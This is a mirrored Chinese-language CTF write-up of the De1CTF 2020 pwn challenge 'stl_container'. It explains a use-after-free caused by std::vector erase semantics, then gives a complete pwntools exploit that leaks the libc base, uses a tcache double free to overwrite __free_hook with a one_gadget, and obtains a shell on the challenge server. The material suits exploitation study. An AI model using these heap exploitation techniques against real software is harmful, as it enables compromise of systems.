5

De1CTF 2020 Pwn stl_container

 2 years ago
source link: https://xuanxuanblingbling.github.io/ctf/pwn/2020/05/05/stl/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

De1CTF 2020 Pwn stl_container

发表于 2020-05-05

| 分类于 CTF/Pwn

漏洞点是:使用C++中的STL中vector存储对象的指针时,在earse清除其中元素时,总会调用最后一个对象的析构函数,最终导致存在悬空指针,并且可以被使用,即UAF。其使用的方式是可以继续free以及show其内容。

利用方式:本题libc版本为2.27,故可以使用构造tcache的DoubleFree完成任意地址写任意值。题目开启了全部保护,所以首先通过堆排布的手段泄露libc基址。然后通过DoubleFree覆盖libc中的__free_hook函数指针为one_gadget,并触发即可getshell。

漏洞成因在做题的时候不是很明白,但是经过简单的测试以及调试就能发现打印出了奇怪的字符串,所以做题未必非要清楚漏洞成因:

from pwn import *
context(arch="amd64",os ='linux',log_level='debug')
myelf = ELF("./stl_container")
libc  = ELF('./libc-2.27.so')
io    = remote("134.175.239.26",8848)
#io    = process(myelf.path,env={"LD_PRELOAD" : libc.path})

uu64        = lambda data                 :  u64(data.ljust(8, b'\0'))
sla         = lambda delim,data           :  (io.sendlineafter(delim, data))
List        = lambda                      :  (sla(">> ",'1'))
vector      = lambda                      :  (sla(">> ",'2'))
queue       = lambda                      :  (sla(">> ",'3'))
stack       = lambda                      :  (sla(">> ",'4'))
add         = lambda data                 :  (sla(">> ",'1'),sla("data:",data))
delete      = lambda idx                  :  (sla(">> ",'2'),sla("?\n",str(idx)))
show        = lambda idx                  :  (sla(">> ",'3'),sla("?\n",str(idx)))

# full tache
vector();add("123")
vector();add("456")
List();add("123")
List();add("123")
queue();add("123")
queue();add("456")
stack();add("123")
stack();add("456")
stack();vector()
stack();vector()
queue();vector()
queue();vector()
List();delete(1)
List();delete(0)

# free chunks to unsorted bin
vector();delete(0)

# leak libc
vector();show(0)
io.recvuntil(": ")
libc_addr = uu64(io.recv(6))-0x3ebca0
log.warn(hex(libc_addr))

# clear tcache
List();add("123")
List();add("123")
queue();add("123")
queue();add("456")
stack();add("123")
stack();add("456")
vector();add("123")

# tcache double free for arbitrary address write
vector();delete(0)
vector();delete(0)

# use aaw to modify __free_hook to one_gadget
vector();add(p64(libc_addr+libc.symbols['__free_hook']))
vector();add(p64(libc_addr+0x4f322))

io.interactive()

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK